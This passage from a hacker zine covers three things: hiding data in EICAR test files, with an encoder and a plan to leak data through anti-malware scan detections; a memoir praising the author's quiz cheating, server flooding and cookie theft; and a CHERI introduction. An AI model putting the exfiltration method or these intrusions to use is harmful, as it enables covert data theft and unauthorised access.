[4] van Schaik, Stephan; Milburn, Alyssa; Ã–sterlund, Sebastian; Frigo, Pietro; Maisuradze, Giorgi; Razavi, Kaveh; Bos, Herbert; Giuffrida, Cristiano (2019‑05‑14). "RIDL: Rogue In‑Flight Data Load"

[5] Michael Schwarz. PTEditor. https://github.com/misc0110/PTEditor

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ 2 ‑ Another use for the EICAR test file ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Peter Ferrie (qkumba) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR‑STANDARD‑ANTIVIRUS‑TEST‑FILE!$H+H*

The EICAR test string, right?

68 bytes

CRC32 6851cf3c

MD5 44d88612fea8a8f36de82e1278abb02f

SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f

Right? Right??

No.

It's actually

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR‑STANDARD‑ANTIVIRUS‑TEST‑FILE!$H+H*

followed by up to 60 bytes of restricted white‑space characters. The allowed white‑space characters are

Space

Ctrl‑Z

Tab

CR

LF

So?

What if...

Space = 0b, Ctrl‑Z = 1b, 60 bits per file, 7.5 bytes

EICAR is now a steganography vehicle

Maybe a bit fancier

Space %*1*00000

Ctrl‑Z %0*1*1010

Tab %00*1*000

CR %001*1*01

LF %0010*1*0

All five characters have one bit in a unique position Four bits in a nibble, decoder becomes simpler

60 bits is not enough?

Space = 0b

Ctrl‑Z = 1b

Tab = 10b

CR = 11b

120 bits per file, 15 bytes

But wait!

There's more!

Any subset of the five characters can represent the zero bit The rest can represent the one bit

EICAR as *OLIGOMORPHIC* steganography vehicle!

"hello world" (*)

0D200A080D080A1A081A0A1A1A0A080D201A0D0808201A1A201A1A202020200A 1A20200D201A1A2020080D1A08081A200A0A080D1A0A0D

SHA256 6a154634b1be7df212863e486b2b1d0cb842e72c3baef941b1054e50fc08b993

(*) 5‑bit text‑encoding, one special character; tab/cr/lf=0, space/ctrl‑z=1

Or "hello world"

08200A0D0A0D081A08200A1A1A0A0A0A20200D0D08201A1A201A201A201A2008 1A1A1A0D2020201A20080820080A1A20080A0A0D20080D

SHA256 f982fa69f04053060d82aece78df2dbf10b2fcf86e842ffe44fbc287f4f4b92c

Or "hello world"

0A200D0A0A0D0D1A0A1A0A1A1A080D0D20200A0D0D1A201A1A1A1A20201A1A0D 202020081A1A201A1A0D08200D0D1A1A0D080A081A0D08

SHA256 09258537fe9ea0105831873c4fbe8d000e54491fdfe446d7d353544c7b4cf334

The encoder

s=[" ","\x1a"," "]

c=["\t","\r","\n"]

t=""

for(x=0;x<text.length;x++) {

q=text.charCodeAt(x,1)&31

if(!q)q=31

for(b=32;b>>=1;)

t+=((q&b)?s:c)[Math.floor(Math.random()*3)]

}

return t

Multiple EICAR files mean more data File naming can define data ordering

1) Create the files on disk

2) Trigger a scan

3) Detections will include the unique file hash

The *anti‑malware engine* will leak the data The files never have to leave the disk

Noisy? Yes

But it only has to work once

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ 3 ‑ Hacker: Apotheosis of the Marginalized ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Kolloid ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑> 01: Introduction

Much like Phrack, I will soon be entering into my 40s. I'm at that stage where I'm reflecting on the rebelliousness of my youth, wondering what it all meant. Some of it brought financial gain, such as the time I found a legitimate exploit that allowed me to win a Mercedes‑Benz C‑Class. Some of it helped me along my career path, like when I used various social engineering techniques to gain escalated privileges within a Fortune 500 company, enabling me to become a data scientist and submit a patent in applied machine learning despite having no prior experience in the field. Some of it led nowhere at all, like when I discovered a glitch in my stock broker's trading platform that allowed me to borrow over $200K at a negative interest rate until my account was promptly disabled when the risk management team realized what I had done. Although I fondly reminisce on these events, it's not the outcomes that I find particularly meaningful. Instead, it's what those acts reveal about myself that gives me the greatest meaning: they show that I'm a hacker.

For the longest time, I was hesitant to call myself a hacker. I felt insecure in that identity because I wasn't using rootkits to gain access into systems. I didn't use Linux. I didn't even have a compiler to make executables. Instead, I made simple tools from the resources available to me (i.e., the default programs installed on Windows XP). I mainly worked out of Notepad in my early years, using JavaScript as my language of choice. I would do things like paste the decoded Base64 binaries of cookies from two different accounts into two different instances of Notepad, flipping back and forth like an animator flipping between pages to identify bit changes. Or I would use frames to pass credentials through the URL, iterating with a script through an array on a timer to visually inspect five frames at a time if any combination in my list would grant me access. Since I wasn't using a "real" programming language, I felt lesser, even though my tools and techniques still enabled me to get what I was seeking and were things made for myself.

Although I did not appreciate it at the time, my janky tools made in Notepad represented the very essence of what made me a hacker. In one form of the definition, a hack is something roughly and hastily done. It is the antithesis of something refined, so it is on the frontier, retaining some uncivilized wildness to it. On the frontier is where we find the hacker, moving the boundaries of society by pushing the system beyond its intended bounds, kicking and screaming all the way into new, unknown territory. In that sense, the hacker is the modern‑day embodiment of the mythological trickster figure whose subversive acts keep society lively through the amusement and chaos he brings. I could not fully embrace my identity as a hacker until I first understood the archetypal role the hacker represented and the mythology I was living out.

"The best way to describe trickster is to say simply that the boundary is where he will be found‑‑sometimes drawing the line, sometimes crossing it, sometimes erasing or moving it, but always there, the god of the threshold in all its forms."

‑ Lewis Hyde, Trickster Makes This World

‑‑> 02: The Myth of Hermes

"If my father will not give me honors, then I will steal them."

‑ Hermes

In "Trickster Makes This World," Lewis Hyde retells the story of Hermes, who is the son of Zeus, king of the gods, and a cave nymph by means of an extramarital affair. His questionable birth makes it uncertain if he will become recognized as a god as well. He was born with the stain of illegitimacy but born undeniably exceptional, pointing to his divine ancestry, even if it could not be explicitly stated aloud. He was also born with a certain impulsiveness, so he decides as a day‑old baby to steal fifty head of cattle from his half‑brother Apollo, claiming that he was hungry for something more substantial than the milk he was given. In doing so, Hermes displays his craftiness by walking the stolen cattle backward and by wearing special sandals he crafted himself to obscure his footprints. When he got back, he slaughtered and cooked two of the cattle but did not eat the meat. Instead, he hid it away and climbed back into his crib.

When Hermes' mother, Maia, discovers what he has done, she questions him by asking how he could be so shameless to do such a thing. Hermes first denies the accusations by saying, "I am just a little baby. How could I possibly have stolen these cattle?" Maia, who sees through her child's attempt at deception, questions Hermes again, who laments in frustration, "Why must we live in this cave when the other gods live on Olympus enjoying the fruits of sacrifices? If my father will not give me honors, then I will steal them."

Apollo eventually notices that some cattle from his herd are gone and also somehow already knows that it was the newly‑born Hermes that took them. Apollo tracks down and questions Hermes, who once again responds with, "I am just a little baby. How could I possibly have stolen your cattle?" Apollo threatens to throw baby Hermes into the depths of Tartarus if he does not give him his cattle back, but Hermes does not relent to Apollo. Since neither would concede, Hermes declares that Zeus must judge who is right. So Apollo drags Hermes up to Olympus to plead his case before their father, telling Zeus of all the cunning details of Hermes' theft that he discovered.

For a third time, Hermes proclaims, "I am just a baby. How could I possibly have stolen those cattle?" Zeus is amused at the audacity of the theft and the steadfastness of Hermes' denial, even when caught. So, Zeus begins to laugh. Surely, this is the son of Zeus. Rather than punishment, Zeus orders Hermes to make amends with his brother and show him where the cattle are hidden, revealing his tricks. On their way to the hiding spot, Hermes begins to play the lyre (which he also invented using the shell of a tortoise he killed while on the way to steal the cattle), and Apollo becomes enchanted by its sound, never hearing music before. When they finally reach the missing cattle, Hermes gives the lyre to Apollo as a gift. In return, Apollo gives the cattle to Hermes and a whip to symbolize his now legitimate ownership of them, and the two become friends from that point forward.

Hermes is a god of paradoxes, for he is a paradox as well. How is it that Hermes could be the illegitimate son of Zeus, the king of the gods? How could the most legitimate of all the gods produce anything illegitimate? Just by existing, Hermes is a challenge to the order of Olympus, causing trouble on his first day being born. So he lies by saying, "I am just a little baby," but it is a lie that forces others to acknowledge the truth that he is more than just a little baby. He begins to unwind his own paradox. He lures others into engaging with it. If he was just a baby, then he could not have stolen those cattle. If he was something more, then they must admit that he should be elevated, deserving of praise instead of shame. Somehow, through initially stealing those fifty head of cattle, Hermes became recognized as being their rightful owner. Coincidentally, he also ended up on Olympus in the presence of his now delighted father, a place he was never meant to be. An illegitimate act set into motion the process of being recognized as legitimate.

Things worked out for Hermes, but one does not always receive honors, even if the things of gods are successfully stolen. Sometimes, the gods are not amused. Sometimes, you are thrown into Tartarus.

‑‑> 03: Tartarus From My First Major Hack

When I was fifteen, I learned through my biology teacher about a website that offered weekly prizes of up to $500 in gift certificates for winning trivia quizzes. After about two hours of repetition for each quiz, I became fast enough to win by recognizing the questions and their answers by the shape of the text and the first few words. The purpose of the website was to promote learning, but the quizzes ended up becoming just a reflex test. I had to answer each question in a second or two, far below the amount of time to even fully read the question. Regardless, I was able to win through the intended means. I could do what I was supposed to do. However, it wasn't sustainable because my vision would go blurry after a few hours of intently staring at my CRT screen flickering at 60 Hz. There had to be a better way that didn't end with me going blind.

As I was lying in bed one evening, a thought came to me: Maybe I could modify the cache file that contained the answers by overwriting the individual characters within the file without changing the overall size of the file. I regularly went through the Temporary Internet Files folder that held the cache for Internet Explorer, so I already discovered the file that contained the answers. Still, I was never able to successfully run modified cache files before. I wondered if there might be some internal validation that checked if the file was the same size as when it was initially downloaded before it ran in Offline Mode to ensure the file had not been corrupted. So, I got out of bed to give it a try, and this time it finally worked! I now had the ability to change websites (at least how they interacted with me) in any way I saw fit, giving me something I was never meant to have.

I would clear my cache, run the quiz once online to download the necessary files, switch to Offline Mode, modify the cache file so that the answers would always show up in the same location instead of a randomized one, retake the quiz, and click on "Yes" when my browser would ask if I wanted to leave Offline Mode when it tried to submit my scores back to the server. This technique worked perfectly, except when I would replace a character with a line return, so I just avoided using them when I modified my files. I would use the same technique later on to spoof file requests to sites that blocked ones from outside of the domain (especially useful for downloading multipart RAR files when paired with a download manager). I found that I could reorder things meant to be difficult to be easier for me so that I no longer needed to sacrifice myself in the process to get them.

There was a leaderboard on the site, so I saw that there was one other student who figured out the same trick as me because we were far faster than anyone else. Curiously, my first major hack was the only time I spotted another hacker in the wild. The moment I found myself, I also found another like me, and it was the two of us competing against each other. The rest of the world just fell away. We formed a new game while everyone else blissfully imagined that they were still participating in something that no longer existed.

Unfortunately, my downfall began the moment the gift certificates began to arrive. It was real, and I couldn't contain my excitement. I imagine that it was the same feeling as when a child first discovers that he can count to 100, overflowing with pride. I had this new ability that brought tangible rewards, and I began to share the news with my family. However, the response was not what I expected it to be. Instead of being met with amazement and congratulations, I was met with disappointment. I was told that what I was doing was wrong and that I should stop immediately. So, I quit and hid my newly discovered talent in shame. I suppose that such an experience is just a rite of passage for the hacker, but I had no one to acknowledge the virtue of such actions. I was not recognized, so I became invisible. I was thrown into Tartarus.

‑‑> 04: Olympus ‑ Finally Being Seen

In my sophomore year in college, I got a job as a software quality tester for a startup after hearing about an opening from a friend who also recently got a job there. I thought it would be exciting to be a part of the Web 2.0 boom, but the job ended up being pretty boring. The entire role was to follow a premade checklist and ensure that everything was functioning as documented.

The icon is blue. Check.

The icon turns green when clicked. Check.

I thought my technical skills would be useful, but this role required no skill at all. This job was monotonous, and I quickly began suffering from the lack of stimulus. Boredom is a very real form of suffering. I desperately needed something to happen, some randomness, so I began looking for something to break under the guise of "quality assurance." Soon, I found something. I would make something happen.

As was common at that time, the front page of the site said that it was in beta and had a contact form to join the list for the test release. I wondered if the form sent an email or if the submissions were stored in a database. What would happen if I sent a flood of requests? Something would happen, and I would gain some new knowledge of what was going on in the backend. The anticipation of discovery through a bit of mischief was the breath of fresh air I needed. Maybe I would get fired, but this role was already dead to me, so it was worth the risk. On the Friday before I left work, I placed a stapler on my enter key to continually resubmit the form over the weekend and turned off my monitor.

When I got back on Monday, my boss learned what I had done and pulled me aside. He told me that I had overloaded the email server to the point where it started smoking (I'm not sure if that was literal or not). So, I now knew that the form did send out emails, which did indeed mean it was more vulnerable to attacks like the one I just pulled off with a common office stapler. Strangely, I didn't get fired or even reprimanded. Instead, my boss started to tell me about how he used to frequent the old BBSs when he was younger. He was once a hacker from a bygone era and was trying to tell me that he saw me for who I truly was: a hacker like him. I was seen, but it was not with the usual malice I encountered in school when I was younger. I was seen for the qualities that my boss cherished about his younger self and maybe even for ones that he felt were lost somewhere along the way.

That recognition was transformative in many ways. Instead of punishment for my actions, my boss gave me a raise and a new title of "software security tester." My role within the system was made anew into something that conformed to who I was instead of being made to conform to something I wasn't. I was allowed to be myself because I was finally seen for who I was, and it was seen as good instead of bad. Most importantly, I was granted the official freedom to create and run my own tests, as opposed to the liberty that I took for myself. Like Hermes, the thing that I stole somehow became legitimately recognized as mine.

A job that was inherently lacking creativity was transformed into one of the most creative periods of my life. It was at this job where I used a Base64 encoder/decoder I created in JavaScript to get into other accounts by changing the binary in two locations of the cookie. After the developers updated to use sessions, I worked my way up to creating a special email that sent me the session information when users opened it. The web app didn't strip out embedded scripts, so I was able to hijack its functionality to access the cookie and send it to me in an email. My time there became a game of cat and mouse with the architects, transcending the original purpose of simply testing the software. Still, the unintended byproduct of that game was better software.

Things could have gone drastically different for me, and they did for my friend who introduced me to the company. Frustrated with the tedium of the job, my friend also destroyed some equipment by ripping out keys from his keyboard one day. I was promoted when I destroyed a server, but my friend ended up getting fired when he destroyed his keyboard. Two seemingly similar actions stemming from the same place of discontentment but yielding two completely different outcomes. It's like the story of Cain and Abel, where both brothers offer up a sacrifice. One is looked upon favorably by God, while the other is not, and it's not entirely clear why. If anything, I should have been punished more severely for my more severe transgression, but I was elevated to be something I wasn't before.

‑‑> 05: The Uncertain Fate of the Trickster

Trickster mythology speaks to the question of how one born into the world marked as illegitimate, cut off from the good things of society, becomes legitimate. The answer is that he tricks his way in. He does something that he was not supposed to do, so he ends up passing through where he was meant to be excluded. Sometimes, he succeeds. Sometimes, he doesn't. Yet, he is a trickster because he does what he ought not to do. Often, that trick is exclusively for his own amusement, seemingly without forethought of the potential consequences of his actions. He pushes buttons just to see what will happen. Strangely, that impulsiveness will just as often result in a gift to the world by stumbling across new wonders never before seen, driving the culture forward.

The hacker is the modern incarnation of the trickster, finding ways to pass through boundaries; some meant to keep him in, some meant to keep him out, and some not meant for him at all. He does not necessarily break the rules; he just doesn't do what is expected. The hacker is considered a trickster because he then finds ways to trick the various systems of this world into doing the unexpected as well. Even the machine, a symbol of utmost reliability, can be made to do something unintended. Yet, the machine does not just arbitrarily decide to rebel. The machine yields to the calls of the hacker because the hacker is firstly the one who sees something overlooked in the machine. There is hope in that moment.

There is potential. The machine is first seen for what it could be, then it becomes...something new.

Just as the machine receives a call for disobedience, so does the hacker: a call to the wild, a call to adventure. One mirrors the other. The hacker yields to that call because it also resonates on a deeper level than the standard protocols telling him how to operate. The seeming impulsivity of the trickster may just be giving over to that call, contrary to all the voices telling him otherwise. Much like the machine, obedience to that call transforms the person in the process, enabling him to do something he was not meant to do by getting the machine to do something it was not meant to do. Both are corrupted, but both are transformed. The hacker is simultaneously a corruptor and a liberator because he lingers in the liminality between worlds, capable of falling into several different fates.

As a trickster, Hermes' fate also dangled between being thrown into the abyss or being accepted into the pantheon, and the seemingly arbitrary factor that made the difference was that Zeus was amused by Hermes' antics. I have known both the shame of being thrown into Tartarus and the elation of being raised to Olympus. I have experienced two entirely different fates in response to expressing myself through two hacks with the difference being that I found one who was amused with my antics, lifting me out of my shame and elevating me to be something more. Sometimes, we are honored. Sometimes, we are not. True validation is from the phenomena we produce when the system recognizes us through obedience to our instructions. Regardless of the often arbitrary response of society, you can be confident that even in small acts of defiance, you are reenacting the mythology of the trickster that makes this world. You are a hacker.

"Here you will live a life of danger. Creativity. Perhaps not a respected life, but certainly an interesting one."

‑ Joseph Campbell

‑‑> 06: Acknowledgements

I want to thank Brian Takle, who first introduced me to the concept of the hacker as a trickster through his essays on The Matrix series. Many of his ideas have been floating in the back of my mind for the past 20 years, helping me to link the phenomenological to the mythological.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 4 ‑ A Hacker's Introduction to CHERI ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ xcellerator ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

## Introduction

For many years, there have been attempts to address the issue of "weird machines" in the context of exploitation at "the source". People have always disagreed on what "the source" of the problem is, and therefore have approached the issue from various angles. For this reason, we have ended up with a great many solutions that all work in different ways and with different levels of efficacy. One of the newer and more unusual approaches has been coming out of Cambridge University in the UK for a few years now, and is named CHERI. The acronym itself stands for "Capability Hardware Enhanced RISC Instructions", which doesn't do a whole lot to explain *what* CHERI actually is or how it could affect binary exploitation.

The goal of this article is to introduce CHERI from a hacker's perspective by trying to understand why it exists in the first place, and how it can (or perhaps will?) affect binary exploitation in the future. Coming from academia, the CHERI project naturally uses a lot of academic language that is sometimes tricky to parse or equate to things that the modern day hacker is more familiar with. Hopefully by the end of this article, you'll be able to do your own research on CHERI and even experiment with compiling and executing CHERI code, all the while relating what you're reading to existing concepts that you're likely already comfortable with.

A good thing to address from the outset is "why should you care?". We're certainly used to thinking about computers at very low levels as exploit developers, and even digging into clever hardware features like MTE or CET. However, the central feature that this article is going to spend its time on, the "capability", isn't even available in any commercial hardware yet, and certainly isn't likely to pop up in your average xdev's path on their way to root in the immediate future. And yet, I'm telling you that you *should* care about capability computing, and not just because its cool.

Even if tomorrow we all decided that the only code anyone would write has to be memory‑safe, it still wouldn't address the hundreds of billions of lines of code out there that isn't (and that's probably a low‑ball estimate). If anything is going to save us, the solution is going to have to work *with* all that code and not just require rewriting it all. CHERI is the closest thing I've seen to addressing this problem. If all of that doesn't convince you to read on, then maybe consider the challenge of trying to overcome yet another clever mitigation.

To begin with, let's think about the problem that CHERI is trying to solve.

"Exploitation" is too broad a term, and academics like to be specific with the problems that they fixate on. When you think about it ‑ "weird machines" in the sense of modern binary exploitation, are a kind of miracle. If we reflect back on Turing's vision of a machine that processes an infinite tape using a set of fixed instructions, there's a hard distinction between the concept of "data" and "instructions" ‑ the data being the tape, and the instructions (or "code") being integral to the machine.

However, it wasn't long before Turing proposed the idea of the "universal Turing machine" which could effectively be "programmed" by the tape ‑ in effect incorporating new instructions from the data that were a part of the machine's input. With this stroke, the lines between code and data were blurred ‑ and we're still paying for it all these years later. There were attempts to make the situation more rigorous, and we ended up with the notions of "von Neumann" and "Harvard" architectures; the former being what most of us are used to in our day‑to‑day lives where code and data all live in the same memory, as opposed to the latter where code and data are fundamentally different and don't as easily intermingle.

If you are writing a binary exploit for *almost* any target today then you're most likely, either directly or indirectly, dealing with *pointers*. This may seem like a rather obvious thing to point out (pun intended), but its crucial to the motivation for CHERI. If we're not leaking pointers to bypass ASLR, we might be overflowing an index that will be added to one to achieve an out‑of‑bounds read/write, or maybe we're even bringing our own pointers to the table as part of the exploit. What if we could re‑design the architecture that our ISAs are built upon to firm up the notion of a pointer into something more concrete, or (dare we say) *safer*? Can we do pointers, but better? The major upside of moving protections from the language and into the ISA is that we can continue to use our existing C/C++ codebases without having to rewrite 40+ years of software in a memory‑safe language.

One thing that might come to mind is that we could demand that a pointer only being valid within a certain bound. Imagine if, encoded into the pointer itself, was a range for which that pointer could be used. If we could do that, could we also tack on some permissions bits? "This pointer can be used to read/write data from 0x80000000 to 0x80001000, but not to fetch instructions". Fundamentally, this is what the CHERI project refers to as a "capability" and is responsible for the "C" in the acronym. All the security guarantees espoused by the project centre around capabilities and how their use is enforced and abuse is prevented.

The idea of the capability is actually a fairly old one in the history of computing. As far back as 1978, IBM had the System/38 minicomputer which supported a kind of capability addressing termed "authorized pointers". These pointers could only be created by privileged instructions and encoded their permissions into themselves. Unfortunately, there wasn't a way to modify these objects once they were created which led to some unfortunate issues where permissions couldn't be revoked once given. The System/38 was retired in 1988.

Despite this, and a few other attempts over the years, capabilities haven't really taken off. The difference with CHERI is that instead of creating a bespoke new architecture, the team at Cambridge is attempting to "enhance" existing ISAs with capability addressing.

At this point, you may well be thinking that turning pointers into pointer/ metadata hybrids isn't that much of a big deal if you can still "bring your own pointers" to an exploit. Surely you could just overwrite some capability in memory with a capability of your own that says "This pointer can be used to read/write/fetch to and from anywhere"? In order for this idea to have any legs, we need to also prevent capabilities from being forged. To explain this further, lets solidify our notion of capabilities a bit so that we know what it is that we're trying to prevent from being forged or manipulated.

Let's assume we have a 64‑bit system, say Aarch64. All our registers (where pointers must go to be dereferenced) are 64‑bits wide, so we'll need to widen them a bit to support the extra metadata that we want to cram in. CHERI does this by simply doubling the register width so now our registers are 128‑bits instead. Note that the ALU is untouched, so you don't get 128‑bit integers and can't do 128‑bit logical or arithmetical operations natively with this change. We can make our lives a little easier by also demanding that every capability is 128‑bit aligned in memory. This is important because it means that *every contiguous 128‑bit region of memory could be a capability*. Then again, it might not be so we need to devise a way to keep track of which of these regions are capabilities and which aren't.

The simplest (for some definition of "simple") solution is to offload this responsibility to the memory controller. We make the demand that the memory controller maintain a state which governs where all the valid capabilities currently are in memory. When the CPU reads from memory into a register, it will also be told whether that read was a capability or not. If an attempt is made to dereference a value stored in a register, and this "tag" bit isn't set, then the CPU will trigger an exception. Also ‑ and this is very important ‑ whenever a write to memory is performed, the memory controller *must* clear the associated tag bit for that region, unless the CPU explicitly asks the memory controller to set the tag bit again afterwards, for instance when a legitimate capability is created.

This means that any attempt to modify a capability in memory will clear the tag bit so that a CPU exception will trigger if the program tries to later dereference that capability.

Woah, woah, woah slow down. There's a lot to unpack here and several questions should hopefully be raised in your head. First of all, how on Earth is the CPU supposed to tell the memory controller what is a legitimate capability modification? There are plenty of programs that will perform pointer arithmetic, and wasn't the whole point of this thought exercise to devise a way to limit the viability of exploitation without having to rewrite 50+ years of software? And while we're at it, where are these tag bits supposed to be kept anyway?

The answer to the first of these questions is *reasonably* straightforward, and the clue is once again in the CHERI acronym: Capability Hardware Enhanced RISC‑V *Instructions*. The instruction set itself for our target ISAs are augmented to support all these CHERI protections that we've been discussing. This is a crucial point ‑ you may not have to rewrite your software to support CHERI, but you will need to recompile it with a CHERIaware compiler. The various CHERI specifications allow for a CHERI‑aware CPU to have it's CHERI protections switched on‑and‑off, meaning that you can run "legacy" (read: "non‑CHERI") code alongside CHERI instructions. This means that you could have a CHERI‑hardened kernel alongside some core system utilities, but still run programs that use the standard ISA (or even vice‑versa: a legacy kernel but have userland applications make use of CHERI). We'll come back to these instructions and how they work a little later.

As far as the second question goes, there are a couple of options we could take. The simplest (there goes that word again) is to let the memory controller use something it's already got lots of: memory. A small pocket of memory can be reserved that isn't addressable at all (and therefore completely invisible to any code running on the CPU) which can be used to store a single bit for every 128‑bit region of memory. If the bit is set, then the corresponding region contains a capability, and if the bit is cleared, then the memory just contains data. While fairly straightforward, this approach can create issues with memory latency due to the controller having to check the tag bits (which necessarily live in different DRAM rows) for *every* access. Therefore another proposed solution is to make use of the additional bits present in ECC RAM. The precise method employed to store the tag bits doesn't matter a whole lot to the would‑be CHERI exploit‑writer, we just have to keep in mind that we are in all likelihood unable to touch those bits.

So, let's take a bit of a review because we've covered a lot of ground already. Under CHERI, pointers have been replaced by capabilities and the memory controller is doing a lot of extra work to keep track of where capabilities are in RAM, as well as turning capabilities into regular ol' data as soon as they're modified in any unsanctioned or unexpected way. And to top it all off, we've got some extra instructions to play with to support all of this. Don't forget that registers are also now twice as wide as they used to be.

What do we even call this model of computing? It's not quite von Neumann because code and data aren't completely interchangeable anymore (pointers aren't really code, but they're also not really data either anymore). It's also not quite Harvard either because code and data still live together side‑by‑side. We're somewhere in the middle. Personally I feel like we're still closest in spirit to von Neumann computing, but there's definitely a few shades of grey now.

Congratulations ‑ there's the theory out of the way. Let's get down to some solid examples of how CHERI works and how it could make our lives harder as exploit‑writers.

## Building and running CheriBSD for Morello

One of the early specifications of CHERI for an ISA was for Aarch64, which has been dubbed by Arm as "Morello" [1,2]. Physical hardware apparently does exist, but it's in a developmental stage and seemingly very difficult to get your hands on. The CHERI team in Cambridge have produced a modified version of QEMU to support all the CHERI functionality, as well as a fork of LLVM that can emit CHERI instructions. They've also bundled all of this up into a git repo that lets you easily build everything you need to get a "CheriBSD" VM running. When building all of this, we have two options to choose from: whether to allow legacy non‑CHERI instructions into the mix, called "hybrid" mode, or to only allow CHERI instructions to be executed in our VM, which is referred to as "purecap" mode (short for "purecapability").

Seeing as this is an article all about CHERI and how it could affect the writers of binary exploits, let's stick with purecap mode to make sure we're getting the full effect. This means that the CheriBSD kernel and userland will be built with CHERI Aarch64 instructions.

To start with, head over to the CHERIBuild GitHub repo [3], install any of the OS‑specific dependencies you need and clone the repo somewhere. There are a few things that we need to build, so it might take a while. To get started, run the following (in order):

```

./cheribuild.py qemu ‑‑include‑dependencies

./cheribuild.py cheribsd‑morello‑purecap ‑‑include‑dependencies ./cheribuild.py gdb‑morello‑hybrid‑for‑purecap‑rootfs \ ‑‑include‑dependencies

./cheribuild.py disk‑image‑morello‑purecap ‑‑include‑dependencies ```

Now we have a bootable disk image for CheriBSD that includes gdb. If you have any SSH public keys in your `~/.ssh`, when `cheribuild.py` creates the disk image, it should prompt you if you want to automatically copy them into `authorized_keys` in the CheriBSD image. This is a good idea because it means we'll be able to SSH into the Cheri VM, which will give us a nicer environment than the QEMU console, as well as letting us use SCP to copy our cross‑compiled executables over.

Finally, at long last we can boot CheriBSD under QEMU:

```

./cheribuild.py run‑morello‑purecap

```

It will take a little while to boot, but once we're in (username "root",no password), we can see that for the most part it looks and feels exactly like regular FreeBSD. Here are a few things to note:

* If you want to shutdown the VM, the keyboard shortcut to kill a QEMU console session is `Ctrl+a; x`.

* CheriBSD should have automatically spawned an SSH server for us which QEMU should have port forwarded to 10005 for us. If you copied your keys into the CheriBSD rootfs during the `disk‑image‑morello‑purecap` step, you should be able to just `ssh ‑p 10005 root@localhost` from your host.

## Compiling programs for CheriBSD

Let's set ourselves up so that we can easily compile simple programs to start probing how CHERI works. The current CHERI buildsystem is a bit convoluted (e.g. going through `cheribuild.py`) but we're only going to write a few short C programs that don't need all the heavy lifting that provides. If you *do* want to explore more complex programs, then I suggest you dive into how `cheribuild.py` works, but that's beyond the scope of this article. It's worth pointing out that several open source projects can already be built such as FFmpeg, Nginx, or even the Plasma desktop with Wayland.

After running all the commands above, you'll have a `~/cheri` directory with all the artifacts of the build. Staying in the `cheribuild` directory, we'll create a folder called `vuln` where we'll store our intentionally vulnerable programs. We'll *also* create a `vuln` folder in the CheriBSD VM to keep things tidy. Create a bash script called `build.sh` in your *HOST'S* `vuln` folder (i.e. under `cheribuild/`) with the following contents:

```

#!/bin/sh

if [ "$#" ‑ne 2 ]; then

echo "Usage: $0 input.c output"

exit 1;

fi

~/cheri/output/morello‑sdk/bin/clang \

‑target aarch64‑unknown‑freebsd13 \ ‑‑sysroot=$HOME/cheri/output/rootfs‑morello‑purecap \

‑B $HOME/cheri/output/morello‑sdk/bin \

‑mcpu=rainier \

‑march=morello \

‑mapi=purecap \

‑Xclang ‑morello‑vararg=new \

‑Xclang ‑morello‑bounded‑memargs \

‑Wall \

‑Wcheri \

‑g \

‑fuse‑ld=lld \

‑o $2 \

$1 &&

scp ‑P 10005 $2 root@localhost:vuln/$2

```

Now we can write C programs on our host system and compile/upload them with `./build.sh input.c output`! Let's crack on and explore CHERI...

## Capability Encoding

At this point, for our own understanding we should probably take a quick look at what is contained in these extra bits of CHERI registers. The precise encoding format for each CHERI‑supported architecture varies a little, but largely includes the same information. Note that whenever we need to dissect a capability for its metadata, it's MUCH easier to just rely on either GDB or the handy `%#p` format‑specifier (more on that shortly) to format it for us. But we're exploit developers, so we should still have a solid understanding of how things work even if we'll end up making the computer do the hard work for us. For Morello, a capability register is defined as [3; Section 2.5]:

<‑ Bit 128 Bit 0 ‑>

+‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑

|T| Permi‑ | Object | Bounds |Flags| Bounds | | | ssions | Type | (Upper) | | (Lower) |

